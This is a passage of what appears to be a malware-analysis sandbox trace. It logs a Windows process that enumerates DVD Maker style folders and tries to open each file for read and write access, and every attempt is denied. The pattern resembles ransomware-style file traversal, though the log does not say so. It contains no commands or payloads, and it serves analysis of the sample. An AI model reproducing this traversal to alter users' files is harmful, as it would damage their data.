GetLastError () returned 0x5 [0152.854] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0152.854] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.854] GetLastError () returned 0x5 [0152.854] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0152.854] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.854] GetLastError () returned 0x5 [0152.854] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0152.854] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.855] GetLastError () returned 0x5 [0152.855] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0152.855] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.856] GetLastError () returned 0x5 [0152.856] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0152.856] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.856] GetLastError () returned 0x5 [0152.856] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0152.856] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.856] GetLastError () returned 0x5 [0152.856] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0152.856] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.857] GetLastError () returned 0x5 [0152.857] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0152.857] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.858] GetLastError () returned 0x5 [0152.858] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0152.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.858] GetLastError () returned 0x5 [0152.858] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0152.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.858] GetLastError () returned 0x5 [0152.858] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0152.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.859] GetLastError () returned 0x5 [0152.859] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0152.859] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.859] GetLastError () returned 0x5 [0152.859] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0152.859] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.860] GetLastError () returned 0x5 [0152.860] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0152.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.860] GetLastError () returned 0x5 [0152.860] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0152.860] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.861] GetProcessHeap () returned 0x2a0000 [0152.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.862] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0152.862] GetProcessHeap () returned 0x2a0000 [0152.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7a) returned 0x2f5738 [0152.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.864] GetProcessHeap () returned 0x2a0000 [0152.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0152.864] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.864] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0152.864] GetProcessHeap () returned 0x2a0000 [0152.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27c) returned 0x2f32d0 [0152.864] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.865] GetLastError () returned 0x5 [0152.865] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0152.865] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.867] GetLastError () returned 0x5 [0152.867] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0152.867] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.868] GetLastError () returned 0x5 [0152.868] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0152.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.868] GetLastError () returned 0x5 [0152.868] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0152.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.868] GetLastError () returned 0x5 [0152.868] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0152.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.869] GetLastError () returned 0x5 [0152.869] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0152.869] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.870] GetLastError () returned 0x5 [0152.870] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0152.870] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.870] GetLastError () returned 0x5 [0152.870] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0152.870] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.870] GetLastError () returned 0x5 [0152.870] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 